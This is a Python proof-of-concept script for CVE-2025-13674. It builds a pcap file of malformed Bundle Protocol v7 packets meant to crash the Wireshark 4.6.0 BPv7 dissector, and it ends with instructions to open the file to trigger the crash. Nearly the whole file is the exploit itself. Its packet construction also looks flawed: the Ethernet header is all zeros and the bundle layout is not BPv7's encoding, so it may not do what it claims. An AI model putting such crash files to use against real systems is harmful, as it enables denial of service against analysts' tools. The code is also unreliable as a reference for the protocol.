#!/usr/bin/env python3
"""
CVE-2025-13674 PoC - Wireshark BPv7 dissector crash
This PoC generates a malicious pcap file that triggers BPv7 dissector crash
"""
import struct
import sys
def create_malicious_pcap():
"""
Create a pcap file with malformed BPv7 packets
BPv7 (Bundle Protocol v7) uses bundle layer protocol
"""
# PCAP Global Header
pcap_header = struct.pack('<IHHiIII',
0xa1b2c3d4, # Magic number
2, # Version major
4, # Version minor
0, # Timezone
0, # Sigfigs
65535, # Snaplen
1 # Link type (Ethernet)
)
# Malformed BPv7 bundle packet
# BPv7 bundle header structure with intentional malformed fields
bpv7_payload = bytearray()
# Bundle Protocol Primary Block
bpv7_payload += struct.pack('>B', 0x01) # Block type: Primary
bpv7_payload += struct.pack('>B', 0x00) # Block number
bpv7_payload += struct.pack('>I', 0xFFFFFFFF) # Block length (malformed)
# Version field (malformed to trigger crash)
bpv7_payload += struct.pack('>B', 0x07) # Version 7
# Add corrupted data to trigger dissector error
bpv7_payload += b'\x00' * 64 # Padding with zeros
bpv7_payload += b'\xFF' * 32 # Corrupted data
# Add more malformed fields
bpv7_payload += struct.pack('>I', 0xDEADBEEF) # Malformed CRC
bpv7_payload += b'Corrupted BPv7 data' * 10
# Ethernet header
eth_header = b'\x00' * 14
# IP header (IPv4)
ip_header = struct.pack('>BBHHHBBH4s4s',
0x45, # Version and IHL
0x00, # TOS
20 + len(bpv7_payload), # Total length
0x0000, # ID
0x0000, # Flags and Fragment
0x40, # TTL
0x11, # Protocol (UDP)
0x0000, # Checksum
b'\x0A\x00\x00\x01', # Source IP
b'\x0A\x00\x00\x02' # Dest IP
)
# UDP header
udp_header = struct.pack('>HHHH',
1234, # Source port
4556, # Dest port
8 + len(bpv7_payload), # Length
0x0000 # Checksum
)
# Complete packet
packet = eth_header + ip_header + udp_header + bytes(bpv7_payload)
# PCAP Packet Header
packet_header = struct.pack('<IIII',
0, # Timestamp seconds
0, # Timestamp microseconds
len(packet), # Captured length
len(packet) # Original length
)
return pcap_header + packet_header + packet
def main():
output_file = 'CVE-2025-13674.pcap'
print(f'[*] Generating PoC for CVE-2025-13674')
print(f'[*] Target: Wireshark 4.6.0 BPv7 dissector')
print(f'[*] Creating malicious pcap file: {output_file}')
pcap_data = create_malicious_pcap()
with open(output_file, 'wb') as f:
f.write(pcap_data)
print(f'[+] PoC file created: {output_file}')
print(f'[+] File size: {len(pcap_data)} bytes')
print(f'[!] Usage: Open this file with Wireshark 4.6.0 to trigger crash')
return 0
if __name__ == '__main__':
sys.exit(main())